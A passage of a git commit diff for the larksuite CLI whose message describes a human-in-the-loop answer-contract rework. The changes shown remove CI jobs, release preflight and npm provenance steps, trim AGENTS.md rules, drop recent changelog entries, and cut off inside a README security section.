fix: defensive-copy answers in WithResolvedAnswers builder

Replace the decision_id/--option HITL contract with the question-group
answer scheme:

- contract: InputRequired becomes {label, description, questions[]}
  (a single question is a length-1 group); Option gains description;
  decision_id/input_type/submitted fields are removed
- answering: --answer <qid>=<option_id> | <qid>.text=<text> is the only
  answer channel (--decision-id/--option removed); --text is always the
  message-level remark; offline collect-all key-grammar guards plus an
  input_required capability gate
- keys: minted at group-creation time (MintQuestionIDs /
  DeriveGroupSuffix), per-group-unique for stale-retry protection;
  central normalization with size caps and whole-group degradation on
  non-conforming keys (JSON _notice.provider_defect); KeyCharsetRE is
  the single charset source and safeNextID now requires an alphanumeric
  first character (rejects flag-lookalike ids)
- meta.next: per-question --answer templates with a relay-first label
- example/planner: three-question reference group; strict collect-all
  validation (Reason enum + question spec), atomic acceptance with a
  resolved_answers echo, context binding, no sibling-task fork on bare
  --text; Register enforces InputRequired => brand-covering CancelTask
- errs: ValidationError gains the resolved_answers extension field
- skills/lark-agents 1.3.0: relay-first rules, answer grammar, recovery
  playbook, untrusted question-text discipline

.github/workflows/ci.yml

@@ -1,5 +1,4 @@
 name: CI
-run-name: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
 
 on:
   push:
@@ -9,12 +8,6 @@ on:
     types: [opened, synchronize, reopened, edited]
   workflow_dispatch:
 
-# PR metadata edits can retrigger full CI for the same head. Keep only the
-# newest run for a pull request; push and manual runs use a unique run ID.
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
-
 permissions:
   contents: read
   actions: read
@@ -54,34 +47,6 @@ jobs:
             exit 1
           fi
 
-  plugin-integration:
-    needs: fast-gate
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          persist-credentials: false
-      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
-        with:
-          go-version-file: go.mod
-      # No fetch_meta: the git-archive clean tree must embed only the
-      # committed meta_data stub (reproduces the bare-module customer state).
-      - name: Run plugin-integration L4 tests
-        run: go test -count=1 -timeout=15m ./tests/plugin_e2e/...
-
-  sidecar-integration:
-    needs: fast-gate
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          persist-credentials: false
-      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
-        with:
-          go-version-file: go.mod
-      - name: Run sidecar tag build + HMAC round-trip
-        run: make sidecar-test
-
   # ── Layer 2: Quality Gate ──────────────────────────────────────────
   unit-test:
     needs: fast-gate
@@ -211,11 +176,7 @@ jobs:
         run: python3 scripts/fetch_meta.py
       - name: Run tests with coverage
         run: |
-          # tests/ holds only L3/L4 suites (cli_e2e, plugin_e2e, sidecar_e2e) that
-          # have dedicated jobs; exclude the whole subtree so none of them runs a
-          # second time here — and, crucially, so an observe-only suite's failure
-          # can never block merges through coverage's spot in the results loop.
-          packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/')
+          packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
           go test -race -coverprofile=coverage.txt -covermode=atomic $packages
       - name: Upload coverage to Codecov
         if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
@@ -302,11 +263,6 @@ jobs:
   e2e-dry-run:
     needs: [unit-test, lint, script-test, deterministic-gate]
     runs-on: ubuntu-latest
-    timeout-minutes: 20
-    outputs:
-      mode: ${{ steps.e2e_domains.outputs.mode }}
-      reason: ${{ steps.e2e_domains.outputs.reason }}
-      live_packages: ${{ steps.e2e_domains.outputs.live_packages }}
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
         with:
@@ -320,23 +276,6 @@ jobs:
       - name: Resolve CLI E2E domains
         id: e2e_domains
         run: node scripts/e2e_domains.js
-      - name: Validate CLI E2E domain outputs
-        env:
-          E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
-          E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
-        run: |
-          case "$E2E_MODE" in
-            skip)
-              [ -z "$E2E_LIVE_PACKAGES" ] || { echo "::error::Skip mode must not resolve live packages"; exit 1; }
-              ;;
-            full|subset)
-              [ -n "$E2E_LIVE_PACKAGES" ] || { echo "::error::No live packages resolved for mode $E2E_MODE"; exit 1; }
-              ;;
-            *)
-              echo "::error::Invalid CLI E2E mode: $E2E_MODE"
-              exit 1
-              ;;
-          esac
       - name: Build lark-cli
         if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: make build
@@ -370,22 +309,16 @@ jobs:
           fi
 
   e2e-live:
-    needs: [unit-test, lint, script-test, deterministic-gate, e2e-dry-run]
-    if: ${{ always() && (github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork) && needs.unit-test.result == 'success' && needs.lint.result == 'success' && needs.script-test.result == 'success' && needs.deterministic-gate.result == 'success' && needs.e2e-dry-run.result == 'success' && (needs.e2e-dry-run.outputs.mode == 'full' || needs.e2e-dry-run.outputs.mode == 'subset') && needs.e2e-dry-run.outputs.live_packages != '' }}
+    needs: [unit-test, lint, script-test, deterministic-gate]
+    if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
     runs-on: ubuntu-latest
-    timeout-minutes: 30
-    # Live E2E uses one repository-wide execution slot.
-    concurrency:
-      group: lark-cli-e2e-live
-      cancel-in-progress: false
-      queue: max
     permissions:
-      actions: read
       contents: read
       checks: write
     env:
       TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
-      LARKSUITE_CLI_BRAND: feishu
+      TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
+      TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
         with:
@@ -396,68 +329,31 @@ jobs:
       - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
         with:
           python-version: '3.x'
+      - name: Resolve CLI E2E domains
+        id: e2e_domains
+        run: node scripts/e2e_domains.js
       - name: Build lark-cli
-        id: build_cli
+        if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: make build
-      - name: Prepare shared live E2E tenant token
-        id: live_e2e_tat
-        env:
-          LARKSUITE_CLI_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
-          TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
-        run: node scripts/fetch_e2e_tat.js
-      - name: Run CLI E2E tests
-        # Keep an active Go test alive so t.Cleanup can finish. A queued stale
-        # run is rejected below before it can start live E2E.
-        if: ${{ always() && steps.build_cli.outcome == 'success' && steps.live_e2e_tat.outcome == 'success' }}
-        shell: bash
-        env:
-          GH_TOKEN: ${{ github.token }}
-          REPOSITORY: ${{ github.repository }}
-          EVENT_NAME: ${{ github.event_name }}
-          RUN_ID: ${{ github.run_id }}
-          RUN_NUMBER: ${{ github.run_number }}
-          RUN_GENERATION: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
-          LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
-          E2E_MODE: ${{ needs.e2e-dry-run.outputs.mode }}
-          E2E_REASON: ${{ needs.e2e-dry-run.outputs.reason }}
-          E2E_LIVE_PACKAGES: ${{ needs.e2e-dry-run.outputs.live_packages }}
-          E2E_TENANT_AUTH_FILE: ${{ steps.live_e2e_tat.outputs.path }}
-          TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
+      - name: Configure bot credentials
+        if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: |
-          if [ "$EVENT_NAME" = "pull_request" ]; then
-            workflow_id="$(gh api "repos/$REPOSITORY/actions/runs/$RUN_ID" --jq '.workflow_id')"
-            newer_runs="$(
-              gh api --paginate -X GET "repos/$REPOSITORY/actions/workflows/$workflow_id/runs" \
-                -f event=pull_request -f branch="$GITHUB_HEAD_REF" -f per_page=100 |
-                jq -r --arg repository "$REPOSITORY" --arg generation "$RUN_GENERATION" --argjson run_number "$RUN_NUMBER" \
-                  '.workflow_runs[] | select(.head_repository.full_name == $repository and .display_title == $generation and .run_number > $run_number) | .id'
-            )"
-            if [ -n "$newer_runs" ]; then
-              echo "::error::Superseded before live E2E started by newer workflow run(s): $newer_runs"
-              exit 1
-            fi
-          fi
-          if [ -z "${E2E_TENANT_AUTH_FILE:-}" ] || [ ! -f "$E2E_TENANT_AUTH_FILE" ]; then
-            echo "::error::Missing shared live E2E tenant token file"
+          if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
+            echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
             exit 1
           fi
-          export TEST_TENANT_ACCESS_TOKEN="$(cat "$E2E_TENANT_AUTH_FILE")"
-          rm -f "$E2E_TENANT_AUTH_FILE"
-          if ! LARKSUITE_CLI_APP_ID="$TEST_BOT1_APP_ID" \
-            LARKSUITE_CLI_TENANT_ACCESS_TOKEN="$TEST_TENANT_ACCESS_TOKEN" \
-            ./lark-cli whoami --as bot | node -e '
-            let input = "";
-            process.stdin.setEncoding("utf8");
-            process.stdin.on("data", (chunk) => { input += chunk; });
-            process.stdin.on("end", () => {
-              const result = JSON.parse(input);
-              if (result.identity !== "bot" || result.available !== true || result.tokenStatus !== "ready") process.exit(1);
-            });
-          '; then
-            echo "::error::Tenant credential preflight failed"
-            exit 1
+          printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
+      - name: Run CLI E2E tests
+        env:
+          LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
+          E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
+          E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
+          E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
+        run: |
+          if [ "$E2E_MODE" = "skip" ]; then
+            echo "No live CLI E2E needed: $E2E_REASON"
+            exit 0
           fi
-          echo "Tenant credential preflight succeeded"
           packages="$E2E_LIVE_PACKAGES"
           if [ -z "$packages" ]; then
             echo "::error::No live CLI E2E packages resolved for mode $E2E_MODE"
@@ -467,7 +363,7 @@ jobs:
           echo "Live CLI E2E packages: $packages"
           go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
       - name: Publish CLI E2E test report
-        if: ${{ !cancelled() }}
+        if: ${{ !cancelled() && steps.e2e_domains.outputs.mode != 'skip' }}
         uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
         with:
           name: CLI E2E Tests
@@ -520,7 +416,7 @@ jobs:
   # ── Results Gate (single required check for branch protection) ─────
   results:
     if: ${{ always() }}
-    needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header, plugin-integration, sidecar-integration]
+    needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
     runs-on: ubuntu-latest
     steps:
       - name: Evaluate results
@@ -540,19 +436,10 @@ jobs:
           echo "| L3 | e2e-live | ${{ needs.e2e-live.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L4 | security | ${{ needs.security.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L4 | license-header | ${{ needs.license-header.result }} |" >> $GITHUB_STEP_SUMMARY
-          echo "| L4 | plugin-integration (observe-only) | ${{ needs.plugin-integration.result }} |" >> $GITHUB_STEP_SUMMARY
-          echo "| L4 | sidecar-integration (observe-only) | ${{ needs.sidecar-integration.result }} |" >> $GITHUB_STEP_SUMMARY
 
           # Any failure or cancellation in any job blocks the merge.
-          # Legitimately skipped jobs (deadcode on push, e2e-live when not
-          # needed or on a fork, license-header on push) are OK.
-          #
-          # plugin-integration and sidecar-integration are intentionally NOT
-          # in this loop yet: they run on every PR and their status is shown
-          # in the table above, but a failure is observe-only (non-blocking)
-          # during the initial soak. Graduation to required is tracked in
-          # https://github.com/larksuite/cli/issues/1894 (criteria: 4
-          # consecutive weeks with zero false positives).
+          # Legitimately skipped jobs (deadcode on push, e2e-live on fork,
+          # license-header on push) are OK.
           FAILED=0
           for result in \
             "${{ needs.fast-gate.result }}" \

.github/workflows/release.yml

@@ -9,40 +9,7 @@ permissions:
   contents: read
 
 jobs:
-  preflight:
-    runs-on: ubuntu-22.04
-    permissions:
-      contents: read
-    steps:
-      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
-        with:
-          fetch-depth: 0
-
-      - uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
-        with:
-          node-version: '22.14.0'
-
-      - name: Validate tag and commit
-        env:
-          TAG: ${{ github.ref_name }}
-        run: |
-          set -euo pipefail
-          node scripts/release-preflight.js --tag "$TAG"
-          git fetch origin main
-          HEAD_SHA="$(git rev-parse --verify 'HEAD^{commit}')"
-          MAIN_SHA="$(git rev-parse --verify 'FETCH_HEAD^{commit}')"
-          TAG_SHA="$(git rev-parse --verify "refs/tags/${TAG}^{commit}")"
-          if [[ "$TAG_SHA" != "$HEAD_SHA" ]]; then
-            echo "Tag ${TAG} does not resolve to the checked-out HEAD commit." >&2
-            exit 1
-          fi
-          if ! git merge-base --is-ancestor "$HEAD_SHA" "$MAIN_SHA"; then
-            echo "Tag ${TAG} does not point to a commit contained in origin/main." >&2
-            exit 1
-          fi
-
-  build-release:
-    needs: preflight
+  goreleaser:
     runs-on: ubuntu-22.04
     permissions:
       contents: write
@@ -59,79 +26,35 @@ jobs:
         with:
           python-version: '3.x'
 
-      - uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
-        with:
-          node-version: '22.14.0'
-          registry-url: 'https://registry.npmjs.org'
-          package-manager-cache: false
-
-      - name: Install pinned npm
-        run: npm install --global npm@11.16.0
-
       - name: Run GoReleaser
         uses: goreleaser/goreleaser-action@e435ccd777264be153ace6237001ef4d979d3a7a # v6
         with:
           version: '~> v2'
           args: release --clean
         env:
-          GITHUB_TOKEN: ${{ github.token }}
-
-      - name: Include release checksums
-        run: |
-          set -euo pipefail
-          test -s dist/checksums.txt
-          (cd dist && sha256sum --check checksums.txt)
-          cp dist/checksums.txt checksums.txt
-
-      - name: Collect release asset
-        run: |
-          set -euo pipefail
-          mkdir npm-publish-asset
-          cp dist/*.tar.gz dist/*.zip dist/checksums.txt npm-publish-asset/
-
-      - name: Upload release asset
-        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
-        with:
-          name: npm-publish-asset-${{ github.run_id }}
-          path: npm-publish-asset/
-          if-no-files-found: error
-          overwrite: true
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
   publish-npm:
-    needs: build-release
+    needs: goreleaser
     runs-on: ubuntu-22.04
-    environment: npm-production
-    permissions:
-      contents: read
-      id-token: write
     steps:
       - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
 
-      - uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
-          node-version: '22.14.0'
+          node-version: '20'
           registry-url: 'https://registry.npmjs.org'
-          package-manager-cache: false
 
-      - name: Install pinned npm
-        run: npm install --global npm@11.16.0
-
-      - name: Download release asset
-        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8
-        with:
-          name: npm-publish-asset-${{ github.run_id }}
-          path: npm-publish-asset
-
-      - name: Verify npm publish asset
+      - name: Download checksums from release
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         run: |
           set -euo pipefail
-          (cd npm-publish-asset && sha256sum --check checksums.txt)
-          cp npm-publish-asset/checksums.txt checksums.txt
-          PACK_JSON="$(npm pack --ignore-scripts --json)"
-          PACK_FILE="$(node -e 'const p=JSON.parse(process.argv[1]); if(p.length!==1 || !p[0].filename) process.exit(1); process.stdout.write(p[0].filename)' "$PACK_JSON")"
-          test -s "$PACK_FILE"
-          tar -tzf "$PACK_FILE" | grep -qx 'package/checksums.txt'
-          rm "$PACK_FILE"
+          TAG="${GITHUB_REF_NAME}"
+          gh release download "${TAG}" --pattern checksums.txt --dir .
+          test -s checksums.txt || { echo "checksums.txt missing or empty for ${TAG}"; exit 1; }
 
       - name: Publish to npm
+        env:
+          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
         run: npm publish --access public

.gitignore

@@ -55,3 +55,8 @@ cover*.out
 
 lark-env.sh
 /automations/
+
+# Local-only proof artifacts and coverage reports (never committed)
+coverage.html
+tests_e2e/
+tests_skill_eval/

AGENTS.md

@@ -10,10 +10,9 @@
 ## Build & Test
 
 ```bash
-make build             # Build (runs fetch_meta first)
-make unit-test         # Required before PR (runs with -race where supported, e.g. amd64/arm64)
-make live-skills-test  # Opt-in real Skills CLI tests; runs with isolated user directories
-make test              # Full: vet + unit + integration
+make build          # Build (runs fetch_meta first)
+make unit-test      # Required before PR (runs with -race where supported, e.g. amd64/arm64)
+make test           # Full: vet + unit + integration
 ```
 
 ## Notification Opt-Outs
@@ -106,20 +105,6 @@ Signatures that are easy to guess wrong:
 
 Program output (JSON envelopes) goes to stdout. Progress, warnings, hints go to stderr. Mixing them corrupts pipe chains.
 
-### Typed data over loose maps
-
-Parse `map[string]interface{}` into a typed struct at the boundary — one projection function per shape — and let everything downstream consume struct fields, not string keys. A typo'd map key compiles fine and fails at runtime, which an agent then debugs blind.
-
-Use distinct types when two values could be swapped silently: see `internal/meta.Token` — a bare string compiles on either side of a string/string signature, a distinct type does not.
-
-Legacy loose-map code exists in older paths. Match its call sites when touching it, but do not copy the pattern into new code.
-
-### Transcribe faithfully — no silent fallbacks
-
-When code echoes input onward (request previews, transformations, proxies), transcribe verbatim. A `default:` branch that coerces unrecognized input into a plausible value ("unknown HTTP verb → GET") makes the output lie, and an agent reasons from the lie.
-
-The same rule applies to flag combinations and internal wiring: if a requested option cannot be honored, return a typed validation error — never silently substitute another behavior and exit 0. Silent guesses (defaulting a missing identity, discarding writes on a nil writer) are bugs even when every current caller happens to avoid them.
-
 ### Use `vfs.*` instead of `os.*`
 
 All filesystem access goes through `internal/vfs`. This enables test mocking.
@@ -131,7 +116,6 @@ CLI arguments are untrusted (they come from AI agents). Call `validate.SafeInput
 ### Tests
 
 - Every behavior change needs a test alongside the change.
-- A contract test must fail if the implementation is reverted. If you can undo the code change and the suite stays green, the contract is not pinned — assert the new field/behavior directly, not a happy-path substring.
 - `cmdutil.TestFactory(t, config)` for test factories.
 - `t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())` to isolate config state.
 

CHANGELOG.md

@@ -2,253 +2,6 @@
 
 All notable changes to this project will be documented in this file.
 
-## [v1.0.78] - 2026-07-27
-
-### Features
-
-- event description support rich text (#1975)
-
-### Bug Fixes
-
-- **slides**: restrict canvas overflow checks
-- **slides**: upgrade text overflow to error above 10px threshold
-- **slides**: detect letterSpacing-driven text overflow
-- **slides**: downgrade background-decoration text overflow to info
-- **slides**: allow chartParsedValues roundtrip tag
-- refine character width estimation for lark-slides text lint
-- **slides**: preserve info lint severity
-- **slides**: text may over flow shape
-- exempt ghost text from slides lint
-
-## [v1.0.77] - 2026-07-24
-
-### Features
-
-- introducing official card icon (#1973)
-- **apps**: validate +file-list --page-size against server (0, 200] range (#2007)
-- **apps**: support absolute and relative upload paths (#2005)
-- **slides**: fill xml-schema-quick-ref gaps that forced XSD fallback (#2026)
-- **slides**: add layout density lint for sparse/empty containers (#2022)
-- add risk-control protection (#1910)
-
-### Bug Fixes
-
-- **slides**: normalize presentation flag aliases (#2032)
-- **base**: classify +form-submit as high-risk-write (#1969)
-- **slides**: declare screenshot scope
-- **slides**: support CSV multi-value for --slide-id in screenshot (#2047)
-
-### Documentation
-
-- **skill**: clarify scope handling for query expansion (#2030)
-- **base**: clarify complete and partial updates (#1993)
-- **skills**: clarify callout child rules (#2048)
-
-### Misc
-
-- fix/task id handling (#2023)
-- fix/task search pagination (#2041)
-
-## [v1.0.75] - 2026-07-22
-
-### Features
-
-- add okr single create shortcut & skill text opti (#1941)
-- **calendar**: auto-add bot self as attendee and note user-only search (#1991)
-
-### Bug Fixes
-
-- **base**: improve table shortcut behavior & guidance (#1803)
-- issue#1935 & whiteboard shortcut reformat (#1980)
-- remove legacy shortcut (#1997)
-- **e2e**: inject shared credentials by identity (#1995)
-
-### Documentation
-
-- **skill**: describe html5 block xml usage (#1380)
-- clarify fetch metadata and user cites (#1981)
-- add topic move collector workflow (#1473)
-- update lark doc HTML size limit (#2001)
-- **base**: align record write schema guidance (#2000)
-
-### Tests
-
-- **e2e**: declare request identities explicitly (#2004)
-
-### Misc
-
-- harden npm release publishing (#1918)
-
-## [v1.0.74] - 2026-07-21
-
-### Features
-
-- **slides**: add history rollback shortcuts (#1714)
-- **base**: support per-record batch updates (#1889)
-
-### Bug Fixes
-
-- preserve slides schema issues
-- allow jq examples in quality gate dry-runs
-- **im**: warn when flag pagination is truncated (#1906)
-- **slides**: warn on text shape overflow
-- **slides**: exempt chart roundtrip attributes from lint
-- **slides**: detect image text occlusion
-- **slides**: clarify xml-text-overlap-lint error for positional argument (#1986)
-
-### Documentation
-
-- clarify drive upload overwrite guidance (#1982)
-
-### Tests
-
-- isolate unit tests from user state (#1883)
-
-### Refactoring
-
-- converge success output through a single Emitter that owns the write (#1899)
-
-## [v1.0.73] - 2026-07-20
-
-### Features
-
-- **apps**: design_html support, creative-design skill, unified TOS publish (#1901)
-
-### Bug Fixes
-
-- **slides**: detect visual elements outside canvas
-- reduce public content credential fixture false positives
-- standardize CLI shortcut text in English (#1942)
-
-### Documentation
-
-- **base**: reduce filter and update retry loops (#1879)
-- **vc**: default transcript routing to smart notes over minutes (#1961)
-- clarify local trigger automation (#1958)
-
-### Tests
-
-- synchronize temporary Git maintenance (#1946)
-
-### Misc
-
-- **slides**: update lark-slides skill to 0715 snapshot (#1933)
-- [codex] support bot menu events (#1765)
-
-## [v1.0.72] - 2026-07-17
-
-### Features
-
-- **slides**: lint table out of canvas
-- **slides**: report resolved table size mismatches
-- **approval**: support approval event consumption (#1924)
-
-### Bug Fixes
-
-- **vc**: don't fail +detail for in-progress meetings (#1930)
-- stabilize drive delete E2E terminal-state checks (#1939)
-
-### Documentation
-
-- **slides**: document table dimensions
-- document base field default values (#1500)
-- **sheets**: use English placeholder in table-get guidance (#1936)
-
-### Tests
-
-- stabilize live e2e auth retries (#1904)
-- use tri-state wiki node identity in delete verification (#1931)
-- fix drive cover download retries (#1934)
-
-## [v1.0.71] - 2026-07-16
-
-### Features
-
-- add wiki move-to-drive shortcut (#1869)
-- **apps**: add role management shortcuts (#1881)
-- **drive**: add secure label support and clarify comment location API (#1913)
-
-### Bug Fixes
-
-- **base**: improve dashboard shortcut guidance (#1787)
-
-### Documentation
-
-- **apps**: add platform SQL authoring guide to the db-execute skill (#1912)
-
-### Misc
-
-- add L4 plugin-integration and sidecar-integration CI jobs (#1840)
-- **drive**: optimize drive +delete workflow (#1909)
-
-## [v1.0.70] - 2026-07-15
-
-### Features
-
-- add minutes permission application shortcut (#1876)
-- **drive**: support apps in list comments (#1877)
-- slide style
-- edit ppt template
-- **slides**: add sxsd validation to slides lint
-- **slides**: validate iconpark icon types in slides lint
-- **slides**: lint before create
-- **apps**: add automation trigger commands for Miaoda (#1886)
-
-### Bug Fixes
-
-- unify dry-run output contract (#1870)
-- **skills**: align skill guidance with the typed error contract (#1786)
-- **slides**: limit slides screenshot page requests
-- **slides**: detect lark slides text overflow overlap
-- **vc**: align meeting query scopes by identity (#1850)
-
-### Documentation
-
-- clarify task search relevance filters (#1884)
-- surface minutes permission application in skill description (#1890)
-- clarify okr progress children (#1861)
-- **slides**: prefer slides xml-get shortcut
-- **calendar**: document setting meeting owner via full API (#1903)
-
-### Refactoring
-
-- **slides**: streamline create workflow and validate SML namespaces
-
-### Misc
-
-- **slides**: address PR review feedback
-
-## [v1.0.69] - 2026-07-13
-
-### Features
-
-- support docs fetch selection anchors (#1815)
-- **apps**: support modern_html app type with TOS publish path and app type querying
-- **im**: show bot sender display names when reading messages (#1829)
-- add drive list comments shortcut (#1845)
-- support wiki sources in drive export (#1802)
-- add application domain with slash command management shortcuts (#1806)
-- validate IM idempotency key length (#1797)
-- surface reply context and mentions in im.message.receive_v1 (#1798)
-
-### Bug Fixes
-
-- route brand-sensitive endpoints through the resolver (#1836)
-
-### Documentation
-
-- document OKR block XML guidance (#1648)
-- refine doubao whiteboard workflow routing (#1841)
-- clarify Mindnote token handling (#1827)
-
-### Tests
-
-- isolate semantic waiver fixtures from wall clock
-
-### Misc
-
-- Merge lark sheets development branch (#1833)
-
 ## [v1.0.68] - 2026-07-09
 
 ### Features
@@ -1685,15 +1438,6 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
 
-[v1.0.78]: https://github.com/larksuite/cli/releases/tag/v1.0.78
-[v1.0.77]: https://github.com/larksuite/cli/releases/tag/v1.0.77
-[v1.0.75]: https://github.com/larksuite/cli/releases/tag/v1.0.75
-[v1.0.74]: https://github.com/larksuite/cli/releases/tag/v1.0.74
-[v1.0.73]: https://github.com/larksuite/cli/releases/tag/v1.0.73
-[v1.0.72]: https://github.com/larksuite/cli/releases/tag/v1.0.72
-[v1.0.71]: https://github.com/larksuite/cli/releases/tag/v1.0.71
-[v1.0.70]: https://github.com/larksuite/cli/releases/tag/v1.0.70
-[v1.0.69]: https://github.com/larksuite/cli/releases/tag/v1.0.69
 [v1.0.68]: https://github.com/larksuite/cli/releases/tag/v1.0.68
 [v1.0.67]: https://github.com/larksuite/cli/releases/tag/v1.0.67
 [v1.0.66]: https://github.com/larksuite/cli/releases/tag/v1.0.66

Makefile

@@ -23,7 +23,7 @@ PREFIX   ?= /usr/local
 TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
 RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
 
-.PHONY: all build vet fmt-check script-test test unit-test live-skills-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks sidecar-test
+.PHONY: all build vet fmt-check script-test test unit-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks
 
 all: test
 
@@ -51,27 +51,19 @@ script-test:
 	bash scripts/resolve-changed-from.test.sh
 	bash scripts/ci-workflow.test.sh
 	bash scripts/semantic-review-workflow.test.sh
-	$(NODE) --test scripts/e2e_domains.test.js scripts/fetch_e2e_tat.test.js scripts/install.test.js scripts/release-preflight.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
+	$(NODE) --test scripts/e2e_domains.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
 
 # ./extension/... keeps the public plugin SDK in the default test matrix.
 unit-test: fetch_meta
 	go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
 		./cmd/... ./internal/... ./shortcuts/... ./extension/...
 
-live-skills-test: fetch_meta
-	LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS=1 \
-	go test -v -count=1 ./cmd/update \
-		-run '^TestUpdateCommand_(RealSkillsSyncRewritesState|SkillsSyncColdStart)$$'
-
 # examples-build keeps the shipped plugin-SDK examples compilable. If this
 # breaks, the plugin author guide's "go build ./..." path is broken.
 examples-build:
 	go build ./extension/platform/examples/audit-observer
 	go build ./extension/platform/examples/readonly-policy
 
-# ./tests/... includes tests/plugin_e2e, which builds ~20 customer-fork
-# binaries (~1 min warm; a cold module cache also downloads via GOPROXY).
-# Deliberate: local `make test` exercises the L4 plugin contract by default.
 integration-test: build
 	go test -v -count=1 ./tests/...
 
@@ -113,14 +105,6 @@ uninstall:
 clean:
 	rm -f $(BINARY)
 
-# sidecar-test compiles and runs the authsidecar* build-tagged code that the
-# default CI matrix never sees (they carry //go:build tags).
-sidecar-test:
-	go build -tags authsidecar -o /dev/null .
-	go test $(RACE_FLAG) -count=1 -tags authsidecar ./extension/credential/sidecar/ ./extension/transport/sidecar/ ./internal/cmdutil/
-	go test $(RACE_FLAG) -count=1 -tags authsidecar_demo ./sidecar/server-demo/
-	go test $(RACE_FLAG) -count=1 -tags authsidecar ./tests/sidecar_e2e/
-
 # Run secret-leak checks locally before pushing.
 # Step 1: check-doc-tokens catches realistic-looking example tokens in reference
 #         docs and asks you to use _EXAMPLE_TOKEN placeholders instead.

README.md

@@ -285,29 +285,6 @@ To reduce these risks, the tool enables default security protections at multiple
 
 We recommend using the Lark/Feishu bot integrated with this tool as a private conversational assistant. Do not add it to group chats or allow other users to interact with it, to avoid abuse of permissions or data leakage.
 
-To reduce the security risks associated with access token theft, the CLI sends a minimal set of risk-control signals with OpenAPI requests made to exact official Feishu/Lark HTTPS domains. These signals are used to help identify anomalous API activity. This protection is enabled by default. The information sent is limited to:
-
-- Operating system type: macOS, Windows, or Linux
